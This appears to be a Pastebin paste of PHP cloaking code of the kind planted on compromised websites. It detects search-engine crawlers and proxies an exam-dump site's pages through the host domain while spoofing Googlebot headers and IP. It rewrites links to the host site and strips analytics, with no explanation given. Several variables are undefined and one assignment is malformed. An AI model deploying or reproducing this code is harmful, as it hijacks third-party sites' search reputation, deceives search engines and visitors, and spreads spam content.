Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- error_reporting(E_ERROR | E_WARNING | E_PARSE);
- $tiaourl = "http://www.sure4dump.com/";
- $fromsite = "http://www.validdumps.com/";
- $mysite = "http://www.icv.hr/";
- $filename = "";
- $tmp = strtolower($_SERVER['HTTP_USER_AGENT']);
- $ref = strtolower($_SERVER['HTTP_REFERER']);
- if (strpos ($tmp, 'google') !== false || strpos ($tmp, 'yahoo') !== false || strpos ($tmp, 'msn') !== false || strpos ($tmp, 'sqworm') !== false) {
- $zzflag = 1;
- }
- if (strpos ($ref, 'google') !== false || strpos ($ref, 'yahoo') !== false || strpos ($ref, 'bing') !== false || strpos ($ref, 'aol') !== false) {
- $rrflag = 1;
- }
- function formaturl($l1, $l2) {
- if (preg_match_all ( "/(<img[^>]+src=\"([^\"]+)\"[^>]*>)|(<a[^>]+href=\"([^\"]+)\"[^>]*>)|(<img[^>]+src='([^']+)'[^>]*>)|(<a[^>]+href='([^']+)'[^>]*>)/i", $l1, $regs )) {
- foreach ( $regs [0] as $num => $url ) {
- $l1 = str_replace ( $url, lIIIIl ( $url, $l2 ), $l1 );
- }
- }
- return $l1;
- }
- function lIIIIl($l1, $l2) {
- if (preg_match ( "/(.*)(href|src)\=(.+?)( |\/\>|\>).*/i", $l1, $regs )) {
- $I2 = $regs [3];
- }
- if (strlen ( $I2 ) > 0) {
- $I1 = str_replace ( chr ( 34 ), "", $I2 );
- $I1 = str_replace ( chr ( 39 ), "", $I1 );
- } else {
- return $l1;
- }
- $url_parsed = parse_url ( $l2 );
- $scheme = $url_parsed ["scheme"];
- if ($scheme != "") {
- $scheme = $scheme . "://";
- }
- $host = $url_parsed ["host"];
- $l3 = $scheme . $host;
- if (strlen ( $l3 ) == 0) {
- return $l1;
- }
- $path = dirname ( $url_parsed ["path"] );
- if ($path [0] == "\\") {
- $path = "";
- }
- $pos = strpos ( $I1, "#" );
- if ($pos > 0)
- $I1 = substr ( $I1, 0, $pos );
- if (preg_match ( "/^(http|https|ftp):(\/\/|\\\\)(([\w\/\\\+\-~`@:%])+\.)+([\w\/\\\.\=\?\+\-~`@\':!%#]|(&)|&)+/i", $I1 )) {
- return $l1;
- }
- elseif ($I1 [0] == "/") {
- $I1 = $l3 . $I1;
- }
- elseif (substr ( $I1, 0, 3 ) == "../") {
- while ( substr ( $I1, 0, 3 ) == "../" ) {
- $I1 = substr ( $I1, strlen ( $I1 ) - (strlen ( $I1 ) - 3), strlen ( $I1 ) - 3 );
- if (strlen ( $path ) > 0) {
- $path = dirname ( $path );
- }
- }
- $I1 = $l3 . $path . "/" . $I1;
- } elseif (substr ( $I1, 0, 2 ) == "./") {
- $I1 = $l3 . $path . substr ( $I1, strlen ( $I1 ) - (strlen ( $I1 ) - 1), strlen ( $I1 ) - 1 );
- } elseif (strtolower ( substr ( $I1, 0, 7 ) ) == "mailto:" || strtolower ( substr ( $I1, 0, 11 ) ) == "javascript:") {
- return $l1;
- } else {
- $I1 = $l3 . $path . "/" . $I1;
- }
- return str_replace ( $I2, "\"$I1\"", $l1 );
- }
- $url = empty($_GET['ske'])?"":$_GET['ske'];
- if(function_exists('curl_init')){
- $s = curl_init();
- curl_setopt($s,CURLOPT_URL,$fromsite . $url);
- curl_setopt($s,CURLOPT_RETURNTRANSFER,1);
- curl_setopt($s,CURLOPT_USERAGENT,'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)');
- curl_setopt($s,CURLOPT_REFERER,"http://www.google.com");
- curl_setopt($s, CURLOPT_HTTPHEADER, array('X-FORWARDED-FOR:66.249.72.240', 'CLIENT-IP:66.249.72.240'));
- $content = curl_exec($s);
- }else{$content=file_get_contents($fromsite . $url);}
- $$content = formaturl($content,$fromsite);
- $qstr = $filename."?ske=";
- $repstr = $mysite.$qstr;
- $content = str_replace($fromsite,$repstr,$content);
- $content = str_replace("src=\"".$repstr,"src=\"".$fromsite,$content);
- $content = str_replace("href=\"","href=\"".$repstr,$content);
- $content = str_replace($repstr.$repstr,$repstr,$content);
- $content = str_replace($repstr."static",$fromsite."static",$content);
- $content = str_replace($repstr."skin",$fromsite."skin",$content);
- $content = str_replace($repstr."js",$fromsite."js",$content);
- $content = str_replace($repstr."/css",$fromsite."css",$content);
- $content = str_replace($repstr."media",$fromsite."media",$content);
- $content = str_replace($repstr."\"",$mysite1."\"",$content);
- $content = str_replace($repstr."/\"",$mysite1."\"",$content);
- $content = str_replace("/design",$fromsite."design",$content);
- $content = str_replace("/js",$fromsite."js",$content);
- $content = str_replace("/images",$fromsite."images",$content);
- $content = str_replace($repstr.$fromsite,$fromsite,$content);
- $content = str_replace("action=\"/cart","action=\"".$fromsite."cart",$content);
- $content = str_replace($repstr."/cart",$fromsite."cart",$content);
- $content = str_replace($repstr."/customer",$fromsite."customer",$content);
- $content = str_replace($repstr."javascript:void","javascript:void",$content);
- $content = str_replace("<form action=\"/","<form action=\"".$fromsite,$content);
- $content = str_replace("ACTION=\"/","ACTION=\"".$fromsite,$content);
- $content = str_replace("text/css","Test",$content);
- $content = str_replace("text/javascript","exam",$content);
- $content = str_replace("image/","exam",$content);
- $content = str_replace("statcounter","sdf",$content);
- $content = str_replace("</head>",$iframe."</head>",$content);
- $content = str_replace("ga(","pdf",$content);
- $content = str_replace("google-analytics.com","dumps",$content);
- $content = str_replace($repstr."/",$repstr,$content);
- $content = str_replace("statcounter","exam",$content);
- $content = str_replace("ga(","exam",$content);
- $content = str_replace("</head>",'<meta name="robots" content="index,follow,noarchive" /></head>',$content);
- $content = str_replace("<body>","<body>".$google_data,$content);
- if ($url=='')
- {
- if($zzflag == 1){
- echo $content;
- exit;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment